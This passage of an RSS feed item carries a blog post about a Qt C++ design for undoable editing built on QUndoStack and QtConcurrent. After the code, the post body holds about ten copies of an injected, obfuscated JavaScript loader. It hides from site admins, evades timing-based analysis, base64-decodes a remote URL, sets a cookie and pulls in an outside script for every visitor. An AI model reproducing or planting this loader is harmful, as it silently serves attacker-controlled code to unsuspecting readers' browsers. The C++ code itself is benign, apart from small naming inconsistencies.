    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;"> (</span><span style="color: #000000; background: #ffffff;"> Thing</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;"> thing </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> thing NOTIFY thingChanged </span><span style="color: #808030; background: #ffffff;">)</span>

<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> ThingEditingBehavior<span style="color: #808030;">(</span> ThingEditor <span style="color: #808030;">*</span>a_editor<span style="color: #808030;">,</span>
                                   <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span>
        <span style="color: #800080;">:</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">(</span> a_parent <span style="color: #808030;">)</span>
        <span style="color: #808030;">,</span> m_editor <span style="color: #808030;">(</span> a_editor <span style="color: #808030;">)</span> <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>

    <span style="color: #800000; font-weight: bold;">explicit</span> ThingEditingBehavior<span style="color: #808030;">(</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span>
        <span style="color: #800080;">:</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">(</span> a_parent <span style="color: #808030;">)</span> <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>

    ThingEditor<span style="color: #808030;">*</span> editor<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> m_editor<span style="color: #808030;">.</span>data<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> setEditor<span style="color: #808030;">(</span> ThingEditor <span style="color: #808030;">*</span>a_editor <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    Thing<span style="color: #808030;">*</span> thing<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span><span style="color: #800080;">;</span>

    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> copyCurrentToClipboard <span style="color: #808030;">(</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> editCurrentAsync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> pasteCurrentFromClipboardAsync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">protected</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> EditCurrentCommand<span style="color: #808030;">*</span> editCurrentSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> EditCurrentCommand<span style="color: #808030;">*</span> pasteCurrentFromClipboardSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> editorChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> thingChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #603000;">QPointer&lt;ThingEditor&gt;</span> m_editor<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> m_synchronous <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>That setEditor, the constructor, etc: these are too obvious to write here. Here are the non-obvious ones:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">void</span> ThingEditingBehavior<span style="color: #800080;">::</span>copyToClipboard <span style="color: #808030;">(</span> <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
<span style="color: #800080;">}</span>

EditCurrentCommand<span style="color: #808030;">*</span> ThingEditingBehavior<span style="color: #800080;">::</span>editCurrentSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    EditCurrentCommand <span style="color: #808030;">*</span>ret <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">new</span> EditCurrentCommand <span style="color: #808030;">(</span> a_value <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span> a_exec <span style="color: #808030;">)</span>
        ret<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>redo<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">return</span> ret<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> ThingEditingBehavior<span style="color: #800080;">::</span>editCurrentAsync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> resultFuture <span style="color: #808030;">=</span>
            QtConcurrent<span style="color: #800080;">::</span>run<span style="color: #808030;">(</span> <span style="color: #603000;">QThreadPool</span><span style="color: #800080;">::</span>globalInstance<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">,</span>
                               <span style="color: #808030;">&amp;</span>ThingEditingBehavior<span style="color: #800080;">::</span>editCurrentSync<span style="color: #808030;">,</span>
                               a_value<span style="color: #808030;">,</span> a_exec <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span>m_synchronous<span style="color: #808030;">)</span>
        resultFuture<span style="color: #808030;">.</span>waitForFinished<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">return</span> resultFuture<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span></pre>
<p>And now we can make the whole thing undoable by making a undoable editing behavior. I&#8217;ll leave a non-undoable editing behavior as an exercise to the reader (ie. just perform redo() on the QUndoCommand, don&#8217;t store it in the QUndoStack and immediately delete or cmd-&gt;deleteLater() the instance).</p>
<p>Note that if m_synchronous is false, that (all access to) m_undoStack, and the undo and redo methods of your QUndoCommands, must be (made) thread-safe. The thread-safety is not the purpose of this example, though.</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">class</span> UndoableThingEditingBehavior <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> ThingEditingBehavior
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> UndoableThingEditingBehavior<span style="color: #808030;">(</span> ThingEditor <span style="color: #808030;">*</span>a_editor<span style="color: #808030;">,</span>
                                           <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">protected</span><span style="color: #e34adc;">:</span>
    EditCellCommand<span style="color: #808030;">*</span> editCurrentSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    EditCurrentCommand<span style="color: #808030;">*</span> pasteCurrentFromClipboardSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">true</span> <span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    QScopedPointer&lt;QUndoStack&gt; m_undoStack<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

EditCellCommand<span style="color: #808030;">*</span> UndoableThingEditingBehavior<span style="color: #800080;">::</span>editCurrentSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #603000;">Q_UNUSED</span><span style="color: #808030;">(</span>a_exec<span style="color: #808030;">)</span>
    EditCellCommand <span style="color: #808030;">*</span>undoable <span style="color: #808030;">=</span> ThingEditingBehavior<span style="color: #800080;">::</span>editCurrentSync<span style="color: #808030;">(</span>  a_value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">false</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    m_undoStack<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>push<span style="color: #808030;">(</span> undoable <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">return</span> undoable<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

EditCellCommand* UndoableThingEditingBehavior<span style="color: #800080;">::</span>pasteCurrentFromClipboardSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">bool</span> a_exec <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #603000;">Q_UNUSED</span><span style="color: #808030;">(</span>a_exec<span style="color: #808030;">)</span>
    EditCellCommand <span style="color: #808030;">*</span>undoable <span style="color: #808030;">=</span> ThingEditingBehavior<span style="color: #800080;">::</span>pasteCurrentFromClipboardSync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">false</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    m_undoStack<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>push<span style="color: #808030;">(</span> undoable <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">return</span> undoable<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span></pre>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e71085d7ffe488108511e7899861d445c793419341&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e71085d7ffe488108511e7899861d445c793419341/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e71085d7ffe488108511e7899861d445c793419341&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e71085d7ffe488108511e7899861d445c793419341/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Fri, 24 Mar 2017 09:42:36 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e71085d7ffe488108511e7899861d445c793419341</guid>
        </item>
        <item>
            <title>Perfection</title>
            <link>https://pvanhoof.be/blog/index.php/2017/03/23/perfection</link>
            <description><![CDATA[
